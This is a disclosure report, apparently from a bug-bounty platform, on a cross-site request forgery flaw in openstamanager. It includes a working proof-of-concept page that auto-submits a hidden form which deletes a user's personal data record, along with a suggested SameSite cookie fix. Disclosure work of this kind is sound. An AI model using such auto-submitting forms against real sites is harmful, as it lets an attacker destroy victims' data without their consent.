Cross-Site Request Forgery (CSRF) in devcode-it/openstamanager
Valid
Reported on
Jul 31st 2021
✍️ Description
Attacker able to delete any Personal Data if users visit attacker site.
🕵️♂️ Proof of Concept
1.Open the PoC.html In Firefox or safari.
2.now you can check that Personal data with id_record value equal to 2 have been deleted.
// PoC.html
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost:8000/openstamanager/editor.php?id_module=2&id_record=2" method="POST">
<input type="hidden" name="backto" value="record-list" />
<input type="hidden" name="op" value="delete" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
💥 Impact
This vulnerability is capable of delete any Personal data.
Fix
Set SameSite attribute of cookies to Lax or Strict.
Occurrences
We have contacted a member of the
devcode-it/openstamanager
team and are waiting to hear back
2 years ago
The fix bounty has been dropped
This vulnerability will not receive a CVE
to join this conversation